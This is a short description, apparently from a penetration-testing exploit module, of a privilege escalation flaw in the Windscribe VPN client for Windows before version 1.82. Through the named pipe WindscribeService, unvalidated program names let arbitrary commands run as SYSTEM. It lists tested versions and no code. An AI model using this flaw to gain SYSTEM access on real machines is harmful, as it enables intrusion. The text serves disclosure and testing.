        The Windscribe VPN client application for Windows makes use of a
        Windows service `WindscribeService.exe` which exposes a named pipe
        `\\.\pipe\WindscribeService` allowing execution of programs with
        elevated privileges.

        Windscribe versions prior to 1.82 do not validate user-supplied
        program names, allowing execution of arbitrary commands as SYSTEM.

        This module has been tested successfully on Windscribe versions
        1.80 and 1.81 on Windows 7 SP1 (x64).
